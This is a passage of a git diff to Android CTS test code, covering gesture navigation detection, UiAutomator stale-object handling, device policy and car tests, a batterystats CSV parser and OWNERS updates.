+    }
 
-        if (mConfiguredInSettings) {
-            launchToSettingsSystemGesture();
-            for (Map.Entry<String, Boolean> entry : mSystemGestureOptionsMap.entrySet()) {
-                if (entry.getValue()) {
-                    UiObject2 navigationObject = findSystemNavigationObject(entry.getKey(), false);
-                    if (navigationObject != null) {
-                        navigationObject.click();
-                    }
+    private void getCurrentInsetsSize(Rect outSize) {
+        outSize.setEmpty();
+        if (mWindowManager != null) {
+            WindowInsets insets = mWindowManager.getCurrentWindowMetrics().getWindowInsets();
+            Insets navInsets = insets.getInsetsIgnoringVisibility(
+                    WindowInsets.Type.navigationBars());
+            insetsToRect(navInsets, outSize);
+        }
+    }
+
+    // Monitoring the navigation bar insets size change as a hint of gesture mode has changed, not
+    // the best option for every kind of devices. We can consider listening OVERLAY_CHANGED
+    // broadcast in U.
+    private void monitorOverlayChange(Runnable overlayChangeCommand) {
+        if (mWindowManager != null) {
+            final Rect initSize = new Rect();
+            getCurrentInsetsSize(initSize);
+
+            overlayChangeCommand.run();
+            // wait for insets size change
+            final Rect peekSize = new Rect();
+            int t = 0;
+            while (t < WAIT_OVERLAY_TIMEOUT) {
+                SystemClock.sleep(PEEK_INTERVAL);
+                t += PEEK_INTERVAL;
+                getCurrentInsetsSize(peekSize);
+                if (!peekSize.equals(initSize)) {
+                    break;
                 }
             }
-            leaveSettings();
+        } else {
+            // shouldn't happen
+            overlayChangeCommand.run();
+            SystemClock.sleep(WAIT_OVERLAY_TIMEOUT);
         }
     }
 
@@ -266,20 +200,23 @@
         assumeTrue("Gesture navigation required", isGestureMode);
     }
 
-    private boolean isGestureMode() {
-        // TODO: b/153032202 consider the CTS on GSI case.
+    private int getCurrentNavMode() {
         Resources res = mTargetContext.getResources();
         int naviModeId = res.getIdentifier(NAV_BAR_INTERACTION_MODE_RES_NAME, "integer", "android");
-        int naviMode = res.getInteger(naviModeId);
-        return naviMode == NAV_BAR_INTERACTION_MODE_GESTURAL;
+        return res.getInteger(naviModeId);
     }
 
-    private static String getSettingsString(Resources res, String strResName) {
-        int resIdString = res.getIdentifier(strResName, "string", SETTINGS_PACKAGE_NAME);
-        if (resIdString <= MIN_APPLICATION_RES_ID) {
-            return null;
-        }
+    private boolean containsNavigationBar() {
+        final Rect peekSize = new Rect();
+        getCurrentInsetsSize(peekSize);
+        return peekSize.height() != 0;
+    }
 
-        return res.getString(resIdString);
+    private boolean isGestureMode() {
+        if (!containsNavigationBar()) {
+            return false;
+        }
+        final int naviMode = getCurrentNavMode();
+        return naviMode == NAV_BAR_MODE_GESTURAL;
     }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
index 3f42e32..a9543c2 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
@@ -21,6 +21,7 @@
 import android.graphics.Rect;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.StaleObjectException;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
 import android.support.test.uiautomator.UiObjectNotFoundException;
@@ -28,6 +29,7 @@
 import android.support.test.uiautomator.UiSelector;
 import android.support.test.uiautomator.Until;
 import android.util.TypedValue;
+import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.core.app.ApplicationProvider;
@@ -37,6 +39,8 @@
 public class UiAutomatorUtils {
     private UiAutomatorUtils() {}
 
+    private static final String LOG_TAG = "UiAutomatorUtils";
+
     /** Default swipe deadzone percentage. See {@link UiScrollable}. */
     private static final double DEFAULT_SWIPE_DEADZONE_PCT = 0.1;
 
@@ -86,7 +90,15 @@
         final int minViewHeightPx = convertDpToPx(MIN_VIEW_HEIGHT_DP);
 
         while (view == null && start + timeoutMs > System.currentTimeMillis()) {
-            view = getUiDevice().wait(Until.findObject(selector), 1000);
+            try {
+                view = getUiDevice().wait(Until.findObject(selector), 1000);
+            } catch (StaleObjectException exception) {
+                // UiDevice.wait() may cause StaleObjectException if the {@link View} attached to
+                // UiObject2 is no longer in the view tree.
+                Log.v(LOG_TAG, "UiObject2 view is no longer in the view tree.", exception);
+                getUiDevice().waitForIdle();
+                continue;
+            }
 
             if (view == null || view.getVisibleBounds().height() < minViewHeightPx) {
                 final double deadZone = !(FeatureUtil.isWatch() || FeatureUtil.isTV())
diff --git a/common/device-side/util/OWNERS b/common/device-side/util/OWNERS
index b61fd53..aa5c93e 100644
--- a/common/device-side/util/OWNERS
+++ b/common/device-side/util/OWNERS
@@ -1,2 +1,2 @@
 
-per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, aaronholden@google.com, yuji@google.com, nickrose@google.com, felipeal@google.com
+per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, felipeal@google.com
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
index 6fbfba0..c0dfae1 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
@@ -89,18 +89,6 @@
     }
 
     /**
-     * Check that only approved changes are overridable.
-     */
-    public void testOnlyAllowedlistedChangesAreOverridable() throws Exception {
-        for (Change c : getOnDeviceCompatConfig()) {
-            if (c.overridable) {
-                assertWithMessage("Please contact compat-team@google.com for approval")
-                        .that(OVERRIDABLE_CHANGES).contains(c.changeName);
-            }
-        }
-    }
-
-    /**
      * Check that the on device config contains all the expected change ids defined in the platform.
      * The device may contain extra changes, but none may be removed.
      */
diff --git a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
index e5916f7..aea1248 100644
--- a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
+++ b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
@@ -78,6 +78,7 @@
     private static ImmutableList<String> sSystemserverclasspathJars;
     private static ImmutableList<String> sSharedLibJars;
     private static ImmutableList<SharedLibraryInfo> sSharedLibs;
+    private static ImmutableMultimap<String, String> sSharedLibsPathsToName;
     private static ImmutableMultimap<String, String> sJarsToClasses;
 
     private DeviceSdkLevel mDeviceSdkLevel;
@@ -728,6 +729,8 @@
                 BLUETOOTH_APK_IN_APEX_BURNDOWN_LIST)
             .put("/apex/com.android.btservices/app/BluetoothGoogle/BluetoothGoogle.apk",
                 BLUETOOTH_APK_IN_APEX_BURNDOWN_LIST)
+            .put("/apex/com.android.bluetooth/app/BluetoothGoogle/BluetoothGoogle.apk",
+                BLUETOOTH_APK_IN_APEX_BURNDOWN_LIST)
             .put("/apex/com.android.permission/priv-app/PermissionController/PermissionController.apk",
                 PERMISSION_CONTROLLER_APK_IN_APEX_BURNDOWN_LIST)
             .put("/apex/com.android.permission/priv-app/GooglePermissionController/GooglePermissionController.apk",
@@ -787,6 +790,13 @@
                 .filter(file -> !file.contains("GmsCore"))
                 .filter(file -> !file.contains("com.google.android.gms"))
                 .collect(ImmutableList.toImmutableList());
+        final ImmutableSetMultimap.Builder<String, String> sharedLibsPathsToName =
+                ImmutableSetMultimap.builder();
+        sSharedLibs.forEach(sharedLibraryInfo -> {
+                sharedLibraryInfo.paths.forEach(path ->
+                        sharedLibsPathsToName.putAll(path, sharedLibraryInfo.name));
+        });
+        sSharedLibsPathsToName = sharedLibsPathsToName.build();
 
         final ImmutableSetMultimap.Builder<String, String> jarsToClasses =
                 ImmutableSetMultimap.builder();
@@ -1013,17 +1023,17 @@
         // WARNING: Do not add more exceptions here, no androidx should be in bootclasspath.
         // See go/androidx-api-guidelines#module-naming for more details.
         final ImmutableMap<String, ImmutableSet<String>>
-                LegacyExemptAndroidxSharedLibsJarToClasses =
+                LegacyExemptAndroidxSharedLibsNamesToClasses =
                 new ImmutableMap.Builder<String, ImmutableSet<String>>()
-                .put("/vendor/framework/androidx.camera.extensions.impl.jar",
+                .put("androidx.camera.extensions.impl",
                     ImmutableSet.of("Landroidx/camera/extensions/impl/"))
-                .put("/system_ext/framework/androidx.window.extensions.jar",
+                .put("androidx.window.extensions",
                     ImmutableSet.of("Landroidx/window/common/", "Landroidx/window/extensions/",
                         "Landroidx/window/util/"))
-                .put("/system_ext/framework/androidx.window.sidecar.jar",
+                .put("androidx.window.sidecar",
                     ImmutableSet.of("Landroidx/window/common/", "Landroidx/window/sidecar",
                         "Landroidx/window/util"))
-                .put("/vendor/framework/com.google.android.camera.experimental2020_midyear.jar",
+                .put("com.google.android.camera.experimental2020_midyear",
                     ImmutableSet.of("Landroidx/annotation"))
                 .build();
         assertWithMessage("There must not be any androidx classes on the "
@@ -1032,17 +1042,18 @@
                 .that(sJarsToClasses.entries().stream()
                         .filter(e -> e.getValue().startsWith("Landroidx/"))
                         .filter(e -> !isLegacyAndroidxDependency(
-                            LegacyExemptAndroidxSharedLibsJarToClasses, e.getKey(), e.getValue()))
+                            LegacyExemptAndroidxSharedLibsNamesToClasses, e.getKey(), e.getValue()))
                         .collect(Collectors.toList())
                 ).isEmpty();
     }
 
     private boolean isLegacyAndroidxDependency(
-            ImmutableMap<String, ImmutableSet<String>> legacyExemptAndroidxSharedLibsJarToClasses,
-            String jar, String className) {
-        return legacyExemptAndroidxSharedLibsJarToClasses.containsKey(jar)
-                && legacyExemptAndroidxSharedLibsJarToClasses.get(jar).stream().anyMatch(
-                        v -> className.startsWith(v));
+            ImmutableMap<String, ImmutableSet<String>> legacyExemptAndroidxSharedLibsNamesToClasses,
+            String path, String className) {
+        return sSharedLibsPathsToName.get(path).stream()
+                .filter(legacyExemptAndroidxSharedLibsNamesToClasses::containsKey)
+                .flatMap(name -> legacyExemptAndroidxSharedLibsNamesToClasses.get(name).stream())
+                .anyMatch(className::startsWith);
     }
 
     private String[] collectApkInApexPaths() {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
index cb76f32..cee6a39 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
@@ -76,7 +76,7 @@
             int attempt = 0;
             boolean hasVirtualDisk = false;
             String result = "";
-            while (!hasVirtualDisk && attempt++ < 20) {
+            while (!hasVirtualDisk && attempt++ < 50) {
                 Thread.sleep(1000);
                 result = getDevice().executeShellCommand("sm list-disks adoptable").trim();
                 hasVirtualDisk = result.startsWith("disk:");
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java
index 64a9cbc..7471d28 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java
@@ -352,6 +352,9 @@
                             continue;
                         }
                         assertDirReadWriteAccess(path);
+                        for (final File dir : buildCommonChildDirs(path)) {
+                            dir.mkdirs();
+                        }
                         assertDirReadWriteAccess(buildCommonChildDirs(path));
                     }
                 }
diff --git a/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java b/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java
index 74d59f7..c7381a2 100644
--- a/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java
+++ b/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java
@@ -117,6 +117,8 @@
     private static final String APPLY_DISABLE_DISPLAY_POWER_POLICY_CMD =
             "cmd car_service apply-power-policy cts_car_watchdog_disable_display";
 
+    private static final String FAILED_CUSTOM_COLLECTION_MSG = "Cannot start a custom collection";
+
     private static final long FIFTY_MEGABYTES = 1024 * 1024 * 50;
     private static final long TWO_HUNDRED_MEGABYTES = 1024 * 1024 * 200;
 
@@ -128,6 +130,7 @@
     private static final Pattern FOREGROUND_BYTES_PATTERN = Pattern.compile(
             "foregroundModeBytes = (\\d+)");
 
+    private static final long START_CUSTOM_COLLECTION_TIMEOUT_MS = 30_000;
     private static final long WATCHDOG_ACTION_TIMEOUT_MS = 15_000;
 
     private boolean mDidModifyDateTime;
@@ -153,7 +156,7 @@
                 GET_IO_OVERUSE_FOREGROUNG_BYTES_CMD));
         executeCommand("%s %d", SET_IO_OVERUSE_FOREGROUNG_BYTES_CMD, TWO_HUNDRED_MEGABYTES);
         executeCommand("logcat -c");
-        executeCommand(START_CUSTOM_PERF_COLLECTION_CMD);
+        startCustomCollection();
         executeCommand(RESET_RESOURCE_OVERUSE_CMD);
     }
 
@@ -380,4 +383,11 @@
         executeCommand("date %s", now.plusHours(1));
         CLog.d(TAG, "DateTime changed from %s to %s", now, now.plusHours(1));
     }
+
+    private void startCustomCollection() throws Exception {
+        PollingCheck.check("Could not start the custom collection.",
+                START_CUSTOM_COLLECTION_TIMEOUT_MS,
+                () -> !executeCommand(START_CUSTOM_PERF_COLLECTION_CMD)
+                        .contains(FAILED_CUSTOM_COLLECTION_MSG));
+    }
 }
diff --git a/hostsidetests/car/src/android/car/cts/PreCreateUsersHostTest.java b/hostsidetests/car/src/android/car/cts/PreCreateUsersHostTest.java
index e370374..fd2ac89 100644
--- a/hostsidetests/car/src/android/car/cts/PreCreateUsersHostTest.java
+++ b/hostsidetests/car/src/android/car/cts/PreCreateUsersHostTest.java
@@ -108,6 +108,7 @@
 
         if (afterReboot) {
             restartSystem();
+            waitForCarServiceReady();
 
             // Checks again
             assertAppInstalledForUser(APP_PKG, initialUserId);
diff --git a/hostsidetests/car_builtin/OWNERS b/hostsidetests/car_builtin/OWNERS
index f0afac5..c5bee2d 100644
--- a/hostsidetests/car_builtin/OWNERS
+++ b/hostsidetests/car_builtin/OWNERS
@@ -1,4 +1,2 @@
 # Bug component: 526680
-keunyoung@google.com
-felipeal@google.com
-gurunagarajan@google.com
+include platform/packages/services/Car:/OWNERS
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp b/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
index 0fc8b16..e65bc93 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
@@ -43,6 +43,7 @@
         "androidx.legacy_legacy-support-v4",
         "devicepolicy-deviceside-common",
         "DpmWrapper",
+        "NeneInternal",
     ],
     min_sdk_version: "21",
     // tag this module as a cts test artifact
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
index f30d29e..95f5693 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
@@ -17,7 +17,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="com.android.cts.deviceowner">
 
-    <uses-sdk android:minSdkVersion="20"/>
+    <uses-sdk android:minSdkVersion="29"/>
 
     <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
index eb5cc56..7606b79 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
@@ -16,8 +16,6 @@
 
 package com.android.cts.deviceowner;
 
-import static android.os.Process.BLUETOOTH_UID;
-
 import static com.google.common.truth.Truth.assertWithMessage;
 
 import android.bluetooth.BluetoothAdapter;
@@ -28,6 +26,7 @@
 import android.util.DebugUtils;
 import android.util.Log;
 
+import com.android.bedstead.nene.TestApis;
 import com.android.internal.util.ArrayUtils;
 
 /**
@@ -134,11 +133,8 @@
             return;
         }
 
-        String bluetoothPackageName = mContext.getPackageManager()
-                .getPackagesForUid(BLUETOOTH_UID)[0];
-
-        ComponentName oppLauncherComponent = new ComponentName(
-                bluetoothPackageName, OPP_LAUNCHER_CLASS);
+        ComponentName oppLauncherComponent =
+                new ComponentName(TestApis.bluetooth().findPackageName(), OPP_LAUNCHER_CLASS);
 
         // First verify DISALLOW_BLUETOOTH.
         testOppDisabledWhenRestrictionSet(UserManager.DISALLOW_BLUETOOTH,
@@ -146,8 +142,8 @@
 
         // Verify DISALLOW_BLUETOOTH_SHARING which leaves bluetooth workable but the sharing
         // component should be disabled.
-        testOppDisabledWhenRestrictionSet(UserManager.DISALLOW_BLUETOOTH_SHARING,
-                oppLauncherComponent);
+        testOppDisabledWhenRestrictionSet(
+                UserManager.DISALLOW_BLUETOOTH_SHARING, oppLauncherComponent);
     }
 
     /** Verifies that a given restriction disables the bluetooth sharing component. */
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
index 4da5fff..9c8a81d 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
@@ -25,6 +25,8 @@
 import android.content.pm.PackageManager;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+
 import java.util.ArrayList;
 
 /**
@@ -41,6 +43,7 @@
     private static final String SIMPLE_APP_PKG = "com.android.cts.launcherapps.simpleapp";
     private static final String SIMPLE_APP_ACTIVITY =
             "com.android.cts.launcherapps.simpleapp.SimpleActivityImmediateExit";
+    private static final String ARG_PID_BEFORE_STOP = "pidOfSimpleapp";
 
     public void testSetUserControlDisabledPackages() throws Exception {
         ArrayList<String> protectedPackages = new ArrayList<>();
@@ -86,14 +89,15 @@
         // Check if package is part of UserControlDisabledPackages before checking if
         // package is stopped since it is a necessary condition to prevent stopping of
         // package
-
         assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho()))
                 .containsExactly(SIMPLE_APP_PKG);
-        assertPackageRunningState(/* running= */ true);
+        assertPackageRunningState(/* running= */ true,
+                InstrumentationRegistry.getArguments().getString(ARG_PID_BEFORE_STOP, "-1"));
     }
 
     public void testFgsStopWithUserControlEnabled() throws Exception {
-        assertPackageRunningState(/* running= */ false);
+        assertPackageRunningState(/* running= */ false,
+                InstrumentationRegistry.getArguments().getString(ARG_PID_BEFORE_STOP, "-1"));
         assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho())).isEmpty();
     }
 
@@ -120,9 +124,15 @@
         return pid.length() > 0;
     }
 
-    private void assertPackageRunningState(boolean shouldBeRunning) throws Exception {
+    private void assertPackageRunningState(boolean shouldBeRunning, String argPid)
+            throws Exception {
+        String pid = executeShellCommand(String.format("pidof %s", SIMPLE_APP_PKG)).trim();
+
+        final boolean samePid = pid.equals(argPid);
+        final boolean stillRunning = samePid && isPackageRunning(SIMPLE_APP_PKG);
+
         assertWithMessage("Package %s running for user %s", SIMPLE_APP_PKG,
                 getCurrentUser().getIdentifier())
-                .that(isPackageRunning(SIMPLE_APP_PKG)).isEqualTo(shouldBeRunning);
+                .that(stillRunning).isEqualTo(shouldBeRunning);
     }
 }
diff --git a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/SuspendPackageTest.java b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/SuspendPackageTest.java
index f17da74..df81a45 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/SuspendPackageTest.java
+++ b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/SuspendPackageTest.java
@@ -2,6 +2,7 @@
 
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import android.app.ActivityManager;
 import android.app.UiAutomation;
 import android.content.Context;
 import android.content.Intent;
@@ -9,6 +10,7 @@
 import android.content.pm.ResolveInfo;
 import android.content.res.Configuration;
 import android.os.UserHandle;
+import android.os.UserManager;
 import android.provider.Settings;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
@@ -167,13 +169,18 @@
         String settingsPackageName = "com.android.settings";
         try {
             mUiAutomation.adoptShellPermissionIdentity("android.permission.INTERACT_ACROSS_USERS");
+            int userId = UserManager.isHeadlessSystemUserMode()
+                    ? ActivityManager.getCurrentUser() // doesn't work with UserHandle.USER_CURRENT
+                    : UserHandle.USER_SYSTEM;
             ResolveInfo resolveInfo = mPackageManager.resolveActivityAsUser(
-                    new Intent(Settings.ACTION_SETTINGS), PackageManager.MATCH_SYSTEM_ONLY,
-                    UserHandle.USER_SYSTEM);
+                    new Intent(Settings.ACTION_SETTINGS), PackageManager.MATCH_SYSTEM_ONLY, userId);
             if (resolveInfo != null && resolveInfo.activityInfo != null) {
-                return resolveInfo.activityInfo.packageName;
+                String packageName = resolveInfo.activityInfo.packageName;
+                Log.d(TAG, "getSettingsPackageName(): returning " + packageName);
+                return packageName;
             }
-            Log.w(TAG, "Unable to resolve ACTION_SETTINGS intent.");
+            Log.w(TAG, "Unable to resolve ACTION_SETTINGS (" + Settings.ACTION_SETTINGS
+                    + ") intent for user " + userId);
             return DEFAULT_SETTINGS_PKG;
         } finally {
             mUiAutomation.dropShellPermissionIdentity();
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp b/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
index 376b76b..7a0a26b 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
@@ -36,6 +36,7 @@
         "androidx.legacy_legacy-support-v4",
         "devicepolicy-deviceside-common",
         "permission-test-util-lib",
+        "NeneInternal",
     ],
     min_sdk_version: "27",
     // tag this module as a cts test artifact
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
index 0a049c9..267f56e 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
@@ -17,7 +17,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="com.android.cts.managedprofile">
 
-    <uses-sdk android:minSdkVersion="27"/>
+    <uses-sdk android:minSdkVersion="29"/>
     <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
     <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
index 18f0d7c..ea41868 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
@@ -15,8 +15,6 @@
  */
 package com.android.cts.managedprofile;
 
-import static android.os.Process.BLUETOOTH_UID;
-
 import android.app.UiAutomation;
 import android.bluetooth.BluetoothAdapter;
 import android.content.ComponentName;
@@ -32,6 +30,7 @@
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.bedstead.nene.TestApis;
 import com.android.internal.util.ArrayUtils;
 
 import junit.framework.TestCase;
@@ -113,8 +112,7 @@
                 : new int[] {PackageManager.COMPONENT_ENABLED_STATE_DISABLED};
 
         sUiAutomation.adoptShellPermissionIdentity(INTERACT_ACROSS_USERS_PERMISSION);
-        String bluetoothPackageName = context.getPackageManager()
-                .getPackagesForUid(BLUETOOTH_UID)[0];
+        String bluetoothPackageName = TestApis.bluetooth().findPackageName();
         sUiAutomation.dropShellPermissionIdentity();
 
         ComponentName oppLauncherComponent = new ComponentName(
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index c87a7f8..d1773d0 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -70,6 +70,7 @@
     private static final String TEST_APP_LOCATION = "/data/local/tmp/cts/packageinstaller/";
 
     private static final String ARG_NETWORK_LOGGING_BATCH_COUNT = "batchCount";
+    private static final String ARG_PID_BEFORE_STOP = "pidOfSimpleapp";
 
     private static final String LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK =
             "CtsHasLauncherActivityApp.apk";
@@ -1059,13 +1060,16 @@
      */
     private void tryFgsStoppingProtectedPackage(int userId, boolean canUserStopPackage)
             throws Exception {
+        String pid = executeShellCommand(String.format("pidof %s", SIMPLE_APP_PKG)).trim();
         fgsStopPackageForUser(SIMPLE_APP_PKG, userId);
         if (canUserStopPackage) {
             executeDeviceTestMethod(".UserControlDisabledPackagesTest",
-                    "testFgsStopWithUserControlEnabled");
+                    "testFgsStopWithUserControlEnabled",
+                     Collections.singletonMap(ARG_PID_BEFORE_STOP, pid));
         } else {
             executeDeviceTestMethod(".UserControlDisabledPackagesTest",
-                    "testFgsStopWithUserControlDisabled");
+                    "testFgsStopWithUserControlDisabled",
+                     Collections.singletonMap(ARG_PID_BEFORE_STOP, pid));
         }
     }
 
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
index 11f24fa..d6ac485 100755
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
@@ -25,6 +25,7 @@
 import java.io.File;
 import java.io.IOException;
 import java.io.StringReader;
+import java.util.ArrayList;
 import java.util.HashSet;
 import java.util.Set;
 
@@ -36,6 +37,41 @@
     private static final String TEST_PKG = "com.android.cts.framestatstestapp";
 
     /**
+     * Parse each line from output of dumpsys to handle special fields such as
+     * 'aaa,"bbb,ccc",ddd', to capture properly.
+     */
+    private static String[] parseCsv(String line) {
+        ArrayList<String> parts = new ArrayList<>();
+        String[] splitStrings = line.split(",", -1);
+        String s = "";
+        boolean escaping = false;
+        for (String splitString : splitStrings) {
+            if (escaping) {
+                s += "," + splitString;
+            } else {
+                if (splitString.startsWith("\"")) {
+                    // Field start with ". Start escaping.
+                    s = splitString;
+                    escaping = true;
+                } else {
+                    parts.add(splitString);
+                }
+            }
+            if (escaping && s.length() > 1 && s.endsWith("\"")) {
+                // Field end with ". Stop escaping.
+                parts.add(s.substring(1, s.length() - 1));
+                escaping = false;
+            }
+        }
+        if (escaping) {
+            // Unclosed escaping string. Add it anyway.
+            parts.add(s.substring(1));
+        }
+
+        return parts.toArray(new String[parts.size()]);
+    }
+
+    /**
      * Tests the output of "dumpsys batterystats --checkin".
      *
      * @throws Exception
@@ -58,11 +94,7 @@
 
 
                 try {
-                    // With a default limit of 0, empty strings at the end are discarded.
-                    // We still consider the empty string as a valid value in some cases.
-                    // Using any negative number for the limit will preserve a trailing empty string.
-                    // @see String#split(String, int)
-                    String[] parts = line.split(",", -1);
+                    String[] parts = parseCsv(line);
                     assertInteger(parts[0]); // old version
                     assertInteger(parts[1]); // UID
                     switch (parts[2]) { // aggregation type
diff --git a/hostsidetests/edi/OWNERS b/hostsidetests/edi/OWNERS
index 88c9013..8e0766f 100644
--- a/hostsidetests/edi/OWNERS
+++ b/hostsidetests/edi/OWNERS
@@ -1,8 +1,5 @@
 # Bug component: 47509
-aaronholden@google.com
-agathaman@google.com
-nickrose@google.com
-samlin@google.com
-
+anwenxu@google.com
+sehajgrover@google.com
 # For cleanups and bug fixes
 satayev@google.com #{LAST_RESORT_SUGGESTION}
diff --git a/hostsidetests/media/bitstreams/AndroidTest.xml b/hostsidetests/media/bitstreams/AndroidTest.xml
index 070b44d..c07fa07 100644
--- a/hostsidetests/media/bitstreams/AndroidTest.xml
+++ b/hostsidetests/media/bitstreams/AndroidTest.xml
@@ -25,6 +25,11 @@
         <option name="dynamic-config-name" value="cts-dynamic-config" />
         <option name="version" value="9.0_r1"/>
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaBitstreamsTestCases" />
+        <option name="version" value="9.0_r1"/>
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
